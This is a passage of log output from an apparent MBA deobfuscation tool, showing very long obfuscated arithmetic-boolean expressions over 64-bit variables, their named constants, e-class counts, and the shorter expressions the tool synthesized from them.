d4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))
====================================================================================================
eclasses #: 232
Synthesized (cost = 11): ((x-(x&y))^(x*(x+x)))
====================================================================================================
Polynomial MBA (permutation, 1st degree) with two 64 bits variables (EA+ED#303)
python3 synth.py
A = 0xab158ca407e708b
B = 0x3bbdd4b3bfa258d
C = 0x67bc0713a30e52ba
D = 0x9e3de1dbaff27723
E = 0x3399e33c88a2571
F = 0x67bc0713a30e52b9
G = 0x6f57b7f04844afe
H = 0x3c7bc3b75fe4ee46
I = 0x3087f1d8b9e35a8d
L = 0x61c21e24500d88dd
M = 0x765a595710882758
N = 0x9843f8ec5cf1ad47
O = 0xf54ea735bf818f75
P = 0xfcc661cc3775da8f
Q = 0x89a5a6a8ef77d8a8
R = 0xe6d36157c789618
S = 0xf90a8480fb7bb502
T = 0x777ba9677f44b1a
U = 0xfc4422b4c405da73
V = 0xc239a39abcf709b1
Z = 0x85e9c95db37db31b
X = 0xffffffffffffffff
eclasses #: 251
Input (cost = 625667): ((-((((((((((((((((((((((x*A)+B)+A)+((((-C)-(-(((x*A)+B)*-D)))|((-(((-E)-((y*A)+B))*-D))...truncated
====================================================================================================
eclasses #: 334
Synthesized (cost = 3517): (((((((((((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*((((((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*((((x*A)+B)+O)-((((~y)-(x*y))|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*N))-(((((x*A)+B)+O)-((((~y)-(x*y))|x)*A))*N))+Q)+((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*(((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*N))-((((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A)))*D)-(((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))-(((((((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*((((x*A)+B)+O)-((((~y)-(x*y))|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*N))-(((((x*A)+B)+O)-((((~y)-(x*y))|x)*A))*N))+Q)+((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*(((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*N))-((((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))+Q)+(((((((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*(((P-((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B))+A)+((((x-y)^(x*y))|(-((~x)*(x*y))))*A)))*D)-(((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*N))-((((P-((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B))+A)+((((x-y)^(x*y))|(-((~x)*(x*y))))*A))*N))+Q))-B)*D)-N)
====================================================================================================
eclasses #: 1004
Synthesized (cost = 2433): ((((((((((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*(((((((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|x)*A))*((S+(x*A))-((((~y)-(x*y))|x)*A)))*D)-((((((~y)-(x*y))|(~x))*A)+G)*F))-(((S+(x*A))-((((~y)-(x*y))|x)*A))*N))+Q)+(((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|(~x))*A))*((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A)))*D)-((((((~y)-(x*y))|x)*A)+G)*F))-(((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A)))*D)-((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))-((((((((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|x)*A))*((S+(x*A))-((((~y)-(x*y))|x)*A)))*D)-((((((~y)-(x*y))|(~x))*A)+G)*F))-(((S+(x*A))-((((~y)-(x*y))|x)*A))*N))+Q)+(((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|(~x))*A))*((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A)))*D)-((((((~y)-(x*y))|x)*A)+G)*F))-(((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))+Q)+((((((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~(